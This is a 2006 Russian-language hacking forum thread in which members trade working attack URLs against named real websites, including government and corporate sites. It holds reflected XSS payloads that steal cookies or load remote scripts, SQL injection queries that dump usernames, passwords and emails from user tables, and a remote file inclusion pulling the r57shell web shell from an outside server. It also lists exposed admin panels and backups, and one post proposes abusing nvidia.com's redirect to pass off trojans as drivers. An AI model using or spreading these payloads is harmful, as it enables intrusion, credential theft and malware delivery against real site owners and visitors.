Баги на сайтах.

Discussion in 'Уязвимости' started by D1mOn, 28 Jan 2006.

Thread Status:
Not open for further replies.
  1. Mobile

    Mobile Elder - Старейшина

    Joined:
    18 Feb 2006
    Messages:
    1,106
    Likes Received:
    789
    Reputations:
    324
    http://www.coca-cola.kz/index.php?p='
     
  2. drmist

    drmist Member

    Joined:
    8 Oct 2005
    Messages:
    307
    Likes Received:
    94
    Reputations:
    80
    http://www.ziv.ru/fmessages.asp?iid=><h1>HACKED</h1>
     
    1 person likes this.
  3. Mobile

    Mobile Elder - Старейшина

    Joined:
    18 Feb 2006
    Messages:
    1,106
    Likes Received:
    789
    Reputations:
    324
  4. Mobile

    Mobile Elder - Старейшина

    Joined:
    18 Feb 2006
    Messages:
    1,106
    Likes Received:
    789
    Reputations:
    324
  5. vectorg

    vectorg Противоядие

    Joined:
    7 Aug 2005
    Messages:
    335
    Likes Received:
    140
    Reputations:
    236
    http://www.government.gov.ru/search/search.html?query="><script>alert('VectorG')</script>&page=1&book=0&he_id=38&pres_he_id=38

    http://www.americasarmy.com/includes/bumper.php?goto="><script>alert('america_sucks')</script>
     
  6. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    http://sotoman.ru/forum/show_msg.php?postid=3457<script src=http://site.ru/script.js></script>
    Надо писать без кавычек все кавычки фильтруются
     
  7. Mobile

    Mobile Elder - Старейшина

    Joined:
    18 Feb 2006
    Messages:
    1,106
    Likes Received:
    789
    Reputations:
    324
  8. Mobile

    Mobile Elder - Старейшина

    Joined:
    18 Feb 2006
    Messages:
    1,106
    Likes Received:
    789
    Reputations:
    324
    http://www.annualreports.ru/load.php?link='
    sql инъекция
     
    1 person likes this.
  9. drmist

    drmist Member

    Joined:
    8 Oct 2005
    Messages:
    307
    Likes Received:
    94
    Reputations:
    80
    Нагуглил тут немного
    Если никому не пригодится - помидорами не бросаться
    -----------------------------
    _http://www.mff.org/publications/publications.taf?page=bebebe'
    [Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression '(P1.ID=bebebe') ORDER BY 25 DESC'.

    _http://www.archaeological.org/webinfo.php?page='
    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/aia/public_html/webinfo.php on line 11

    _http://www.jedit.org/index.php?page=%00
    _http://www.prestosoft.com/ps.asp?page=bebebe%00
    _http://phppgadmin.sourceforge.net/?page=%00
    _http://www.ourdocuments.gov/content.php?flash=false&page=%00
    вдруг кто расковыряет?

    _http://www.swrcb.ca.gov/rwqcb3/Admin/
    вот еще - немного мыльников в зоне gov и может еще что-то чего я не разглядел

    _http://www.agriya.com/demo/paidmail/admin/
    _http://copyforsale.com/mail/
    _http://www.software-trading.de/liste.asp?Titel=Backup&sql=WHERE(Kategorie%20IN('Backup'))%20--

    _http://theory.lcs.mit.edu/~cis/cpl/backup.tar.gz
    (не качал - не знаю)
    ----------------EOF------------------------
     
    1 person likes this.
  10. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    919
    Likes Received:
    213
    Reputations:
    154
    Code:
    http://www.gamersinfo.net/content/news.php?id=168%20union%20select%201,password,username,email,5,6,7,8,9%20from%20user%20limit%201,2/*
    http://www.national-geographic.ru/forums/showthreaded.php?Cat=&Board=general&Number=-1480%20union%20select%20concat(u_email,':',u_password),2,3%20from%20w3t_Users%20limit%205,6/*
    http://www.rolemancer.ru/sections.php?op=listarticles&secid=-87%20union%20select%201,pass,3,4,uname%20from%20users/*
    http://www.wargames.ru/sections.php?op=listarticles&secid=-87%20union%20select%201,uname,3,4,pass%20from%20users/*
    http://www.echoekb.ru/news.php?r=2%20union%20select%201,2,user_pass,4,5,6,7,8,9,0%20from%20forum_user/*
     
    #50 Azazel, 4 Apr 2006
    Last edited: 4 Apr 2006
    5 people like this.
  11. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,675
    Likes Received:
    1,028
    Reputations:
    1,228
    ТУТ вход в админку slovari.yandex.ru .... нужен только логин и пасс)))
     
    _________________________
    1 person likes this.
  12. Vandal

    Vandal Elder - Старейшина

    Joined:
    10 Mar 2005
    Messages:
    208
    Likes Received:
    18
    Reputations:
    3
    _http://www.malls.ru/index.cfm?error=%3Cscript%3Ealert(/AC%20team/)%3C/script%3E%3Cfont%20color=green%3EAC%20TEAM%20%3C/font%3E


    Сцыла
     
  13. Vandal

    Vandal Elder - Старейшина

    Joined:
    10 Mar 2005
    Messages:
    208
    Likes Received:
    18
    Reputations:
    3
  14. podkashey

    podkashey С крышкой по жизни!

    Joined:
    18 Jun 2005
    Messages:
    757
    Likes Received:
    351
    Reputations:
    353
    Для СИ покатит, да и не только
    http://www.nvidia.com/content/license/location.asp?url=а_тут_пишем_то_что_хотим_загрузить
    Дальше юзеру останется нажать кнопку согласия... Можно впарить трояна под видом драиверов от нВидеа очень новых и хороших... А еще лучше это дрова склеенные с трояном, лежащие на каком-нить сайте... Вобщем можно придумать...
     
    1 person likes this.
  15. vectorg

    vectorg Противоядие

    Joined:
    7 Aug 2005
    Messages:
    335
    Likes Received:
    140
    Reputations:
    236
    _http://svn.matroska.org/svn/
    _http://vision.rambler.ru/srch/?sort=0&set=vision&words="><script>alert(/VectorG/)</script>
     
    2 people like this.
  16. seeattact

    seeattact Banned

    Joined:
    12 Jan 2006
    Messages:
    539
    Likes Received:
    87
    Reputations:
    2
  17. Mobile

    Mobile Elder - Старейшина

    Joined:
    18 Feb 2006
    Messages:
    1,106
    Likes Received:
    789
    Reputations:
    324
  18. vectorg

    vectorg Противоядие

    Joined:
    7 Aug 2005
    Messages:
    335
    Likes Received:
    140
    Reputations:
    236
    _http://www.fo-ma.ru/view.php?id=83661&img=%3Cscript%3Ealert(document.cookie)%3C/script%3E
     
  19. haZard0us

    haZard0us Elder - Старейшина

    Joined:
    18 Apr 2006
    Messages:
    26
    Likes Received:
    12
    Reputations:
    5
    _http://vision.rambler.ru/srch/?sort=0&set=vision&control_charset=%CA%EE%ED%F2%F0%EE%EB%FC&words=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
     
  20. gLAnce

    gLAnce Elder - Старейшина

    Joined:
    24 Apr 2006
    Messages:
    19
    Likes Received:
    19
    Reputations:
    14
    _http://www.hedegaard.nu/image/set.php
    _http://www.aleviler.biz/hpmaker/index.php?p=http://rst.void.ru/download/r57shell.txt?
     
    2 people like this.
Loading...
Thread Status:
Not open for further replies.